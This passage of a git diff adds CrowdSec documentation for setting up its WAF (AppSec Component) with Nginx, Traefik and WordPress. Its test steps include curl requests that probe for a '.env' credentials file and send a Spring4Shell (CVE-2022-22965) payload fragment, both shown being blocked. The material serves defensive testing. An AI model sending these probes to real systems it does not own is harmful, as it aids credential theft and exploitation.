+```bash
+sudo systemctl restart crowdsec
+```
+
+#### Testing the AppSec Component
+
+##### Verify the AppSec Component is listening
+
+To verify that the AppSec Component is running correctly, we can first check that the port `7422` is open and listening:
+
+:::note
+If you have changed the port in the configuration file, replace `7422` with the new port number.
+:::
+
+
+
+
+ sudo netstat -tlpn | grep 7422
+
+
+
+ sudo ss -tlpn | grep 7422
+
+
+
+
+
+Output example
+
+```bash
+tcp 0 0 127.0.0.1:7422 0.0.0.0:* LISTEN 12345/crowdsec
+```
+
+:::note
+The output may look differently depending on which command you used but as long as you see the port and the process `crowdsec`, it means the AppSec Component is running.
+:::
+
+
+
+##### (Optional) Manually testing the AppSec Component with `curl`
+
+
+ Expand for short guide
+
+Before we proceed with configuring the Remediation Component, let's verify that all our current setups are functioning correctly.
+
+1. Create a Remediation Component (Bouncer) API Key:
+
+```bash
+sudo cscli bouncers add test_waf -k this_is_a_bad_password
+API key for 'test_waf':
+
+ this_is_a_bad_password
+
+Please keep this key since you will not be able to retrieve it!
+```
+
+2. Emit a legitimate request to the AppSec Component:
+
+```bash
+curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-uri: /test' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-host: foobar.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password'
+```
+
+Which will give us an answer such as:
+
+```bash
+HTTP/1.1 200 OK
+Date: Tue, 30 Jan 2024 15:43:50 GMT
+Content-Length: 36
+Content-Type: text/plain; charset=utf-8
+
+{"action":"allow","http_status":200}
+```
+
+3. Emit a malevolent request to the Appsec Component:
+
+:::info
+We're trying to access a `.env` file, a [common way to get access to some credentials forgotten by a developer.](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access)
+:::
+
+```bash
+curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-uri: /.env' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-host: foobar.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password'
+
+```
+
+Our request is detected and blocked by the AppSec Component:
+
+```bash
+HTTP/1.1 403 Forbidden
+Date: Tue, 30 Jan 2024 15:57:08 GMT
+Content-Length: 34
+Content-Type: text/plain; charset=utf-8
+
+{"action":"ban","http_status":403}
+```
+
+Let's now delete our test API Key:
+
+```bash
+sudo cscli bouncers delete test_waf
+```
+
+
+
+## Remediation Component Setup
+
+Since our AppSec Component is active and listening, we can now configure the Remediation Component to forward requests to it.
+
+To setup forwarding of requests in the remediation component, we'll modify its configuration file and append the following line:
+
+- `Nginx`: `/etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf`
+- `OpenResty`: `/etc/crowdsec/bouncers/crowdsec-openresty-bouncer.conf`
+
+```bash
+APPSEC_URL=http://127.0.0.1:7422
+```
+
+This instructs the remediation component to communicate with the AppSec Component at `http://127.0.0.1:7422`.
+
+Once configured, all incoming HTTP requests will be sent there for analysis. The snippet above assumes that the AppSec Component is running on the same machine.
+
+We can now restart the service:
+
+```bash
+sudo systemctl restart nginx
+```
+
+## Testing the AppSec Component + Remediation Component
+
+:::note
+We're assuming the web server is installed on the same machine and is listening on port 80. Please adjust your testing accordingly if this is not the case.
+You can also look at the [General WAF Testing](/docs/appsec/quickstart/general.mdx#testing-waf-component)
+:::
+
+
+
+if you try to access `http://localhost/.env` from a browser, your request will be blocked, resulting in the display of the following HTML page:
+
+
+
+We can also look at the metrics from `cscli metrics show appsec` it will display:
+ - the number of requests processed by the AppSec Component
+ - Individual rule matches
+
+
+ Example Output
+
+```bash title="sudo cscli metrics show appsec"
+Appsec Metrics:
+╭─────────────────┬───────────┬─────────╮
+│ Appsec Engine │ Processed │ Blocked │
+├─────────────────┼───────────┼─────────┤
+│ 127.0.0.1:7422/ │ 2 │ 1 │
+╰─────────────────┴───────────┴─────────╯
+
+Appsec '127.0.0.1:7422/' Rules Metrics:
+╭─────────────────────────────────┬───────────╮
+│ Rule ID │ Triggered │
+├─────────────────────────────────┼───────────┤
+│ crowdsecurity/vpatch-env-access │ 1 │
+╰─────────────────────────────────┴───────────╯
+```
+
+
+
+### Explanation
+
+What happened in the test that we just did is:
+
+ 1. We did a request (`localhost/.env`) to our local webserver
+ 2. Thanks to the Remediation Component configuration, forwarded the request to `http://127.0.0.1:7422`
+ 3. Our AppSec Component, listening on `http://127.0.0.1:7422` analyzed the request
+ 4. The request matches the [AppSec rule to detect .env access](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access)
+ 5. The AppSec Component thus answered with [HTTP 403](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/403) to the Remediation Component, indicating that the request must be blocked
+ 6. The web server then presented us with the default "request blocked" page.
+
+ ## Integration with the console
+
+If you haven't yet, follow the guide about [how to enroll your Security Engine in the console](/u/getting_started/post_installation/console).
+
+Once done, all your alerts, including the ones generated by the AppSec Component, are going to appear in the console:
+
+
+
+
+## Next steps
+
+You are now running the AppSec Component on your Crowdsec Security Engine, congrats!
+
+As the next steps, you can:
+ - [Explore the hub](https://hub.crowdsec.net) to find more rules for your use case
+ - Look at the [Rules syntax](/appsec/rules_syntax.md) and [creation process](/appsec/create_rules.md) to create your own and contribute
+ - Take a look at [the benchmarks](/appsec/benchmark.md)
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/traefik.mdx b/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/traefik.mdx
new file mode 100644
index 000000000..898dfc500
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/traefik.mdx
@@ -0,0 +1,268 @@
+---
+id: traefik
+title: QuickStart - Traefik
+---
+
+import FormattedTabs from '@site/src/components/formatted-tabs';
+import UnderlineTooltip from '@site/src/components/underline-tooltip';
+
+# CrowdSec WAF QuickStart for Traefik
+
+## Objectives
+
+The goal of this quickstart is to set up the [AppSec Component](/appsec/intro.md#introduction) to safeguard web applications running on [Traefik](https://doc.traefik.io/traefik/) reverse proxy.
+
+We'll deploy a [set of rules](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) designed to block [well-known attacks](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) and [currently exploited vulnerabilities](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching).
+
+Additionally, we'll show how to monitor these alerts through the [console](https://app.crowdsec.net/).
+
+## Pre-requisites
+
+1. If you're new to the [AppSec Component](/appsec/intro.md#introduction) or **W**eb **A**pplication **F**irewalls, start with the [Introduction](/appsec/intro.md#introduction) for a better understanding.
+
+2. It's assumed that you have already installed:
+ - **CrowdSec [Security Engine](intro.mdx)**: for installation, refer to the [QuickStart guide](/u/getting_started/installation/linux). The AppSec Component, which analyzes HTTP requests, is included within the security engine as a Acquisition.
+ - Traefik Plugin **[Remediation Component](/u/bouncers/intro)**: Thanks to [maxlerebourg](https://github.com/maxlerebourg) and team they created a [Traefik Plugin](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin) that allows you to block requests directly from Traefik.
+
+:::info
+Prior to starting the guide ensure you are using the [Traefik Plugin](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin) and **NOT** the older [traefik-crowdsec-bouncer](https://app.crowdsec.net/hub/author/fbonalair/remediation-components/traefik-crowdsec-bouncer) as it hasnt recieved updates to use the new AppSec Component.
+:::
+
+:::warning
+This guide will assume you already have a working Traefik setup using the Traefik Plugin. If you need help setting up Traefik, refer to the [official documentation](https://doc.traefik.io/traefik/) and the [Traefik Plugin](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin) documentation.
+:::
+
+## AppSec Component Setup
+
+### Collection installation
+
+To begin setting up the AppSec Component, the initial step is to install a relevant set of rules.
+
+We will utilize the [crowdsecurity/appsec-virtual-patching](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) collection, which offers a wide range of rules aimed at identifying and preventing the exploitation of known vulnerabilities.
+
+This collection is regularly updated to include protection against newly discovered vulnerabilities. Upon installation, it receives automatic daily updates to ensure your protection is always current.
+
+Furthermore we also install the [crowdsecurity/appsec-generic-rules](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) collection. This collection contains detection scenarios for generic attack vectors. It provides some protection in cases where specific scenarios for vulnerabilities do not exist (yet).
+
+On the machine where the Security Engine is installed, just execute the following command:
+
+:::info
+You can always view the content of a [collection on the hub](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching)
+:::
+
+
+
+Executing this command or updating the compose will install the following items:
+
+- The [*AppSec Rules*](/appsec/rules_syntax.md) contain the definition of malevolent requests to be matched and stopped.
+- The [*AppSec Configuration*](/appsec/configuration.md#appsec-configuration) links together a set of rules to provide a coherent set.
+- The CrowdSec Parser and CrowdSec Scenario(s) are used to detect and remediate persistent attacks.
+
+Once you have updated your compose or installed via the command line, will we need to restart the container. However, before we do that, we need to setup the acquisition for the AppSec Component.
+
+### Setup the Acquisition
+
+Depending on how you are running the CrowdSec Security Engine, you will need to configure the acquisition for the AppSec Component.
+
+If you have a folder in which you are persisting the configuration files, you can create a `appsec.yaml` and mount it into the container.
+
+There steps will change depending on how you are running the Security Engine. If you are running via `docker run` then you should launch the container within the same directory as the `appsec.yaml` file. If you are using `docker-compose` you can use a relative file mount to mount the `appsec.yaml` file.
+
+Steps:
+ 1. Change to the location where you exectued the `docker run` or `docker compose` command.
+ 2. Create a `appsec.yaml` file at the base of the directory.
+ 3. Add the following content to the `appsec.yaml` file.
+
+```yaml title="appsec.yaml"
+appsec_config: crowdsecurity/appsec-default
+labels:
+ type: appsec
+listen_addr: 0.0.0.0:7422
+source: appsec
+```
+:::note
+Since CrowdSec is running inside a container you must set the `listen_addr` to `0.0.0.0` instead of the typical `127.0.0.1` as the container is running in a separate network.
+:::
+
+ 4. Edit the `docker run` or `docker-compose` command to include the `appsec.yaml` file.
+
+
+
+Once you have created the `appsec.yaml` file and mounted it into the container, you can recreate the container.
+
+:::note
+If you are using `docker run` you can skip to the [Remediation Component Setup](#remediation-component-setup) section.
+:::
+
+Once you have updated the compose file to include the volume mount and the updated environment variable, you can restart the container.
+
+```bash
+docker compose down crowdsec
+docker compose rm crowdsec
+docker compose up -d crowdsec
+```
+
+:::note
+The previous compose commands presume the container is named `crowdsec`. If you have named the container something else, you will need to replace `crowdsec` with the name of your container.
+:::
+
+## Remediation Component Setup
+
+As stated previously this guide already presumes you have the Traefik Plugin installed. If you do not have the Traefik Plugin installed, please refer to the [official documentation](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin) for installation instructions.
+
+### Configuration
+
+Depending on how you configured the Traefik Plugin, you will need to update the configuration to include the AppSec configuration.
+
+:::warning
+Currently AppSec does not support mTLS authentication for the AppSec Component. If you have mTLS enabled, and wish to use the AppSec Component, you can define seperate middlewares for the AppSec Component.
+:::
+
+If you have defined a dynamic configuration file for Traefik, you can add the following configuration to the file.
+
+```yaml title="traefik_dynamic.yaml"
+# Dynamic configuration
+http:
+ routers:
+ my-router:
+ rule: host(`whoami.localhost`)
+ service: service-foo
+ entryPoints:
+ - web
+ middlewares:
+ - crowdsec
+
+ services:
+ service-foo:
+ loadBalancer:
+ servers:
+ - url: http://127.0.0.1:5000
+
+ middlewares:
+ crowdsec:
+ plugin:
+ bouncer:
+ enabled: true
+ crowdsecAppsecEnabled: true
+ crowdsecAppsecHost: crowdsec:7422
+ crowdsecAppsecFailureBlock: true
+ crowdsecAppsecUnreachableBlock: true
+ crowdsecLapiKey: privateKey-foo
+```
+
+Instead if you define the configuration using labels on the containers you can add the following labels to the Traefik Plugin container.
+
+```yaml
+ labels:
+ - "traefik.http.middlewares.crowdsec-bar.plugin.bouncer.enabled=true"
+ - "traefik.http.middlewares.crowdsec-bar.plugin.bouncer.crowdsecAppsecEnabled=true"
+ - "traefik.http.middlewares.crowdsec-bar.plugin.bouncer.crowdsecAppsecHost=crowdsec:7422"
+ - "traefik.http.middlewares.crowdsec-bar.plugin.bouncer.crowdsecLapiKey=privateKey-foo"
+```
+
+For more comprehensive documentation on the Traefik Plugin configuration, please refer to the [official documentation](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin).
+
+We can't cover all the possible configurations for Traefik in this guide, so please refer to the [official documentation](https://doc.traefik.io/traefik/) for more information.
+
+### Directives
+
+The following directives are available for the Traefik Plugin:
+
+#### `crowdsecAppsecEnabled`
+> `bool`
+
+Enable or disable the AppSec Component.
+
+#### `crowdsecAppsecHost`
+> `string`
+
+The host and port where the AppSec Component is running.
+
+#### `crowdsecAppsecFailureBlock`
+> `bool`
+
+If the AppSec Component returns `500` status code should the request be blocked.
+
+#### `crowdsecAppsecUnreachableBlock`
+> `bool`
+
+If the AppSec Component is unreachable should the request be blocked.
+
+## Testing the AppSec Component + Remediation Component
+
+:::note
+We're assuming the web server is installed on the same machine and is listening on port 80. Please adjust your testing accordingly if this is not the case.
+:::
+
+if you try to access `http://localhost/.env` from a browser, your request will be blocked, resulting in the display of the following HTML page:
+
+
+
+We can also look at the metrics from `cscli metrics show appsec` it will display:
+ - the number of requests processed by the AppSec Component
+ - Individual rule matches
+
+
+ Example Output
+
+```bash title="sudo cscli metrics show appsec"
+Appsec Metrics:
+╭─────────────────┬───────────┬─────────╮
+│ Appsec Engine │ Processed │ Blocked │
+├─────────────────┼───────────┼─────────┤
+│ 127.0.0.1:7422/ │ 2 │ 1 │
+╰─────────────────┴───────────┴─────────╯
+
+Appsec '127.0.0.1:7422/' Rules Metrics:
+╭─────────────────────────────────┬───────────╮
+│ Rule ID │ Triggered │
+├─────────────────────────────────┼───────────┤
+│ crowdsecurity/vpatch-env-access │ 1 │
+╰─────────────────────────────────┴───────────╯
+```
+
+
+
+### Explanation
+
+What happened in the test that we just did is:
+
+ 1. We did a request (`localhost/.env`) to our local webserver
+ 2. Thanks to the Remediation Component configuration, forwarded the request to `http://127.0.0.1:7422`
+ 3. Our AppSec Component, listening on `http://127.0.0.1:7422` analyzed the request
+ 4. The request matches the [AppSec rule to detect .env access](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access)
+ 5. The AppSec Component thus answered with [HTTP 403](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/403) to the Remediation Component, indicating that the request must be blocked
+ 6. The web server then presented us with the default "request blocked" page.
+
+ ## Integration with the console
+
+If you haven't yet, follow the guide about [how to enroll your Security Engine in the console](/u/getting_started/post_installation/console).
+
+Once done, all your alerts, including the ones generated by the AppSec Component, are going to appear in the console:
+
+
+
+## Next steps
+
+You are now running the AppSec Component on your Crowdsec Security Engine, congrats!
+
+As the next steps, you can:
+ - [Explore the hub](https://hub.crowdsec.net) to find more rules for your use case
+ - Look at the [Rules syntax](/appsec/rules_syntax.md) and [creation process](/appsec/create_rules.md) to create your own and contribute
+ - Take a look at [the benchmarks](/appsec/benchmark.md)
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/wordpress.mdx b/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/wordpress.mdx
new file mode 100644
index 000000000..cceffcef0
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/appsec/quickstart/wordpress.mdx
@@ -0,0 +1,318 @@
+---
+id: wordpress
+title: QuickStart - WordPress
+---
+
+import Tabs from '@theme/Tabs';
+import TabItem from '@theme/TabItem';
+import CodeBlock from '@theme/CodeBlock';
+import UnderlineTooltip from '@site/src/components/underline-tooltip';
+
+# CrowdSec WAF QuickStart for WordPress
+
+## Objectives
+
+The goal of this quickstart is to set up the [AppSec Component](/appsec/intro.md#introduction) to safeguard web applications running on [WordPress](https://wordpress.org) sites.
+
+We'll deploy a [set of rules](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) designed to block [well-known attacks](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) and [currently exploited vulnerabilities](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching).
+
+Additionally, we'll show how to monitor these alerts through the [console](https://app.crowdsec.net/).
+
+## Pre-requisites
+
+1. If you're new to the [AppSec Component](/appsec/intro.md#introduction) or **W**eb **A**pplication **F**irewalls, start with the [Introduction](/appsec/intro.md#introduction) for a better understanding.
+
+2. It's assumed that you have already installed:
+ - **CrowdSec [Security Engine](intro.mdx)**: for installation, refer to the [QuickStart guide](/u/getting_started/installation/linux). The AppSec Component, which analyzes HTTP requests, is included within the security engine as a [Acquisition](/log_processor/data_sources/appsec.md).
+ - **WordPress [Remediation Component](/u/bouncers/intro)**: installation instructions are available in the [WordPress bouncer guide](/u/bouncers/wordpress). The CrowdSec WordPress plugin enables you to protect your WordPress site against malicious traffic using CrowdSec's advanced threat detection and blocklist capabilities.
+
+ This component intercepts HTTP requests at the WordPress level and forwards them to the AppSec Component for analysis and action.
+
+
+## AppSec Component Setup
+
+### Collection installation
+
+To begin setting up the AppSec Component, the initial step is to install a relevant set of rules.
+
+We will utilize the [`crowdsecurity/appsec-virtual-patching`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) collection, which offers a wide range of rules aimed at identifying and preventing the exploitation of known vulnerabilities.
+
+This collection is regularly updated to include protection against newly discovered vulnerabilities. Upon installation, it receives automatic daily updates to ensure your protection is always current.
+Furthermore we also install the [`crowdsecurity/appsec-generic-rules`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) collection. This collection contains detection scenarios for generic attack vectors. It provides some protection in cases where specific scenarios for vulnerabilities do not exist (yet).
+
+On the machine where the Security Engine is installed, just execute the following command:
+
+:::info
+You can always view the content of a [collection on the hub](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching)
+:::
+
+```bash
+sudo cscli collections install crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules
+```
+
+Executing this command will install the following items:
+
+- The [*AppSec Rules*](/appsec/rules_syntax.md) contain the definition of malevolent requests to be matched and stopped
+- The [*AppSec Configuration*](/appsec/configuration.md#appsec-configuration) links together a set of rules to provide a coherent set
+- The CrowdSec Parser and CrowdSec Scenario(s) bans for a longer duration repeating offenders
+
+### Setup the Acquisition
+
+Having installed the required components, it's time to configure the CrowdSec Acquisition to expose the Application Security Component to our WordPress site. This configuration allows our WordPress site to send requests to the AppSec Component for evaluation and decision-making.
+
+Steps:
+ 1. Create the `/etc/crowdsec/acquis.d/` directory (if it doesn't exist on your machine)
+ ```bash
+ mkdir -p /etc/crowdsec/acquis.d/
+ ```
+ 2. Create a file `/etc/crowdsec/acquis.d/appsec.yaml` with the following content:
+ ```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
+ appsec_config: crowdsecurity/appsec-default
+ labels:
+ type: appsec
+ listen_addr: 127.0.0.1:7422
+ source: appsec
+ ```
+
+The two important directives in this configuration file are:
+
+ - `appsec_config` is the name of the [*AppSec Configuration*](appsec/configuration.md#appsec-configuration) that was included in the Collection we just installed.
+ - the `listen_addr` is the IP and port the AppSec Component will listen to.
+
+:::warning
+We do not recommend exposing the AppSec Component to the internet. It should only be accessible from the web server or WordPress application.
+:::
+
+:::info
+You can find more about the [supported options for the acquisition here](/log_processor/data_sources/appsec.md)
+:::
+
+You can now restart CrowdSec:
+
+```bash
+sudo systemctl restart crowdsec
+```
+
+#### Testing the AppSec Component
+
+##### Verify the AppSec Component is listening
+
+To verify that the AppSec Component is running correctly, we can first check that the port `7422` is open and listening:
+
+:::note
+If you have changed the port in the configuration file, replace `7422` with the new port number.
+:::
+
+
+
+
+ sudo netstat -tlpn | grep 7422
+
+
+
+ sudo ss -tlpn | grep 7422
+
+
+
+
+
+Output example
+
+```bash
+tcp 0 0 127.0.0.1:7422 0.0.0.0:* LISTEN 12345/crowdsec
+```
+
+:::note
+The output may look differently depending on which command you used but as long as you see the port and the process `crowdsec`, it means the AppSec Component is running.
+:::
+
+
+
+##### (Optional) Manually testing the AppSec Component with `curl`
+
+
+ Expand for short guide
+
+Before we proceed with configuring the Remediation Component, let's verify that all our current setups are functioning correctly.
+
+1. Create a Remediation Component (Bouncer) API Key:
+
+```bash
+sudo cscli bouncers add test_waf -k this_is_a_bad_password
+API key for 'test_waf':
+
+ this_is_a_bad_password
+
+Please keep this key since you will not be able to retrieve it!
+```
+
+2. Emit a legitimate request to the AppSec Component:
+
+```bash
+curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-uri: /test' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-host: foobar.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password'
+```
+
+Which will give us an answer such as:
+
+```bash
+HTTP/1.1 200 OK
+Date: Tue, 30 Jan 2024 15:43:50 GMT
+Content-Length: 36
+Content-Type: text/plain; charset=utf-8
+
+{"action":"allow","http_status":200}
+```
+
+3. Emit a malevolent request to the Appsec Component:
+
+:::info
+We're trying to access a `.env` file, a [common way to get access to some credentials forgotten by a developer.](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access)
+:::
+
+```bash
+curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-uri: /.env' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-host: foobar.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password'
+
+```
+
+Our request is detected and blocked by the AppSec Component:
+
+```bash
+HTTP/1.1 403 Forbidden
+Date: Tue, 30 Jan 2024 15:57:08 GMT
+Content-Length: 34
+Content-Type: text/plain; charset=utf-8
+
+{"action":"ban","http_status":403}
+```
+
+Let's now delete our test API Key:
+
+```bash
+sudo cscli bouncers delete test_waf
+```
+
+
+
+## Remediation Component Setup
+
+Since our AppSec Component is active and listening, we can now configure the WordPress Remediation Component to forward requests to it.
+
+The WordPress bouncer includes built-in AppSec support that can be enabled through the plugin's admin interface.
+
+### Enable AppSec in WordPress Plugin
+
+1. Log in to your WordPress admin panel
+2. Navigate to the CrowdSec plugin settings (`CrowdSec` in your admin menu)
+3. Go to the `Advanced` section
+4. Find the `AppSec component` configuration section
+5. Enable AppSec and configure the connection:
+
+ - **Enable AppSec**: Check this box to enable AppSec functionality
+ - **URL**: Set to `http://127.0.0.1:7422` (or your custom AppSec Component address)
+ - **Request timeout**: Default is 400 milliseconds (adjust as needed)
+ - **Fallback to**: Choose `captcha` (recommended) for when AppSec calls fail
+ - **Maximum body size**: Default is 1024 KB
+ - **Body size exceeded action**: Choose `headers_only` (recommended)
+
+
+
+
+:::info
+AppSec functionality is only available when using API key authentication (not TLS certificates) in the WordPress plugin.
+:::
+
+:::note
+The AppSec Component will only be consulted when the initial LAPI remediation returns a bypass decision.
+:::
+
+## Testing the AppSec Component + Remediation Component
+
+:::note
+We're assuming WordPress is running on your local machine. Please adjust your testing accordingly if this is not the case.
+:::
+
+To test the AppSec functionality, you need to make a request that will go through the WordPress loading process. Try accessing a WordPress page with a malicious payload in the URL parameters or body.
+For example, we can try to post a request with a body that contains a malicious payload, known as a [Remote Code Execution (CVE-2022-22965)](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-CVE-2022-22965) attempt.
+
+```bash
+curl -X POST https:/// -d "class.module.classLoader.resources." -o /dev/null -s -w "%{http_code}"
+```
+
+
+When the AppSec Component detects such a malicious request, you'll see that the response is a 403 (Forbidden) status code, indicating that the request was blocked.
+
+If your test is not successful, please refer to the [Health check and troubleshoot guide](/u/getting_started/health_check/) for help.
+
+
+You can also look at the metrics from `cscli metrics show appsec` which will display:
+ - the number of requests processed by the AppSec Component
+ - Individual rule matches
+
+
+ Example Output
+
+
+```bash title="sudo cscli metrics show appsec"
+Appsec Metrics:
+╭─────────────────┬───────────┬─────────╮
+│ Appsec Engine │ Processed │ Blocked │
+├─────────────────┼───────────┼─────────┤
+│ 127.0.0.1:7422/ │ 2 │ 1 │
+╰─────────────────┴───────────┴─────────╯
+
+Appsec '127.0.0.1:7422/' Rules Metrics:
+╭─────────────────────────────────────┬───────────╮
+│ Rule ID │ Triggered │
+├─────────────────────────────────────┼───────────┤
+│ crowdsecurity/vpatch-CVE-2022-22965 │ 1 │
+╰─────────────────────────────────────┴───────────╯
+```
+
+
+
+### Explanation
+
+What happened in the test that we just did is:
+
+ 1. We made a request with malicious payload to our WordPress site
+ 2. The WordPress bouncer plugin intercepted the request as part of the WordPress loading process
+ 3. The bouncer first checked with the local CrowdSec API for any existing decisions
+ 4. Since there was no existing ban decision, the bouncer forwarded the request to the AppSec Component at `http://127.0.0.1:7422`
+ 5. Our AppSec Component analyzed the request and matched it against the appropriate AppSec rules (here `crowdsecurity/vpatch-CVE-2022-22965` rule)
+ 6. The AppSec Component returned an HTTP 403 response to the WordPress bouncer, indicating that the request must be blocked
+ 7. The WordPress bouncer then presented the visitor with the configured ban page
+
+ ## Integration with the console
+
+If you haven't yet, follow the guide about [how to enroll your Security Engine in the console](/u/getting_started/post_installation/console).
+
+Once done, all your alerts, including the ones generated by the AppSec Component, are going to appear in the console:
+
+
+
+## WordPress-Specific Considerations
+
+### Understanding Plugin Limitations
+
+The WordPress bouncer has some inherent limitations you should be aware of:
+
+1. **WordPress Loading Process**: The plugin only protects requests that go through the WordPress core loading process. Direct access to PHP files outside of WordPress won't be protected.
+
+2. **Static Files**: Requests for non-PHP files (like `.env`, `.sql`, or other static files) won't be processed by the plugin since they don't go through PHP.
+
+3. **Auto Prepend File Mode**: For comprehensive protection, consider enabling [auto prepend file mode](/u/bouncers/wordpress#auto-prepend-file-mode) in the plugin settings to ensure all PHP scripts are protected.
+
+
+## Next steps
+
+You are now running the AppSec Component on your WordPress site with CrowdSec Security Engine, congrats!
+
+As the next steps, you can:
+ - [Explore the hub](https://hub.crowdsec.net) to find more rules for your use case
+ - Look at the [Rules syntax](/appsec/rules_syntax.md) and [creation process](/appsec/create_rules.md) to create your own and contribute
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/rules_syntax.md b/crowdsec-docs/versioned_docs/version-v1.6/appsec/rules_syntax.md
similarity index 89%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/appsec/rules_syntax.md
rename to crowdsec-docs/versioned_docs/version-v1.6/appsec/rules_syntax.md
index 4c8a36402..9dde1d009 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/rules_syntax.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/appsec/rules_syntax.md
@@ -72,6 +72,7 @@ The target allows to specify which part of the requests needs to be inspected. Y
- `METHOD`: HTTP method of the request
- `PROTOCOL`: HTTP protocol used in the query (HTTP/1.0, HTTP/1.1, ...)
- `URI`: The URI of the request
+ - `URI_FULL`: The full URL of the request including the query string
- `RAW_BODY`: The entire body of the request
- `FILENAMES`: The name of the files sent in the request
- _(optional)_ `variables` containing one or more variable names to restrict the matching operation to (only relevant for `ARGS`, `BODY_ARGS` and `HEADERS`)
@@ -90,6 +91,17 @@ The target allows to specify which part of the requests needs to be inspected. Y
- ARGS
```
+:::info
+
+The default config `crowdsecurity/base-config` enables specific decoders when the following content-types are set:
+ - **application/x-www-form-urlencoded**
+ - **multipart/form-data**
+ - **application/xml**
+ - **application/json** : when used, all the variable names are prefixed with `json.`
+ - **text/xml**
+
+:::
+
## Match
:::info
@@ -118,8 +130,11 @@ Match provides the pattern to match the target against, including optional trans
- `lowercase`
- `uppercase`
- `b64decode` : base64 decode
- - `hexdecode` : hex decode
- `length` : transform _target_ to a number representing the string's length
+ - `urldecode` : URL decode
+ - `trim` : remove leading and trailing spaces
+ - `normalizepath` : normalize the path (remove double slashes, etc)
+ - `htmlEntitydecode` : decode HTML entities
```yaml
# we want the query parameter foo to be equal to 'toto'
@@ -141,6 +156,7 @@ Match provides the pattern to match the target against, including optional trans
value: BLAH
```
+
### Seclang Support
In order to support your existing/legacy rules set, CrowdSec's AppSec Component is also able to load rules in the **seclang** format (**ModSecurity** rules).
@@ -154,13 +170,14 @@ There are 2 ways to provide crowdsec with seclang rules:
- Provide rules directly by using the `seclang_rules` parameter in your rule file
- Provide a file containing the rules by using the `seclang_rules_file` parameter in your rule file. The file must be located inside CrowdSec data directory
-:::info
The default paths for the data directory per OS:
- Linux: `/var/lib/crowdsec/data`
- Freebsd: `/var/db/crowdsec/data`
- Windows: `C:\programdata\crowdsec\data`
- :::
+
+
+> Example
```yaml
name: example/secrules
@@ -169,3 +186,7 @@ seclang_rules:
seclang_files_rules:
- my-rule-file.conf
```
+
+:::warning
+Your rule **must** have a non-empty `msg` field to properly trigger an Event/Alert
+:::
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/troubleshooting.md b/crowdsec-docs/versioned_docs/version-v1.6/appsec/troubleshooting.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/appsec/troubleshooting.md
rename to crowdsec-docs/versioned_docs/version-v1.6/appsec/troubleshooting.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/appsec/vpatch_crs.md b/crowdsec-docs/versioned_docs/version-v1.6/appsec/vpatch_crs.md
new file mode 100644
index 000000000..e8bb9bc04
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/appsec/vpatch_crs.md
@@ -0,0 +1,324 @@
+---
+id: vpatch_and_crs
+title: Virtual Patching + OWASP CRS
+sidebar_position: 5
+---
+
+## Overview
+
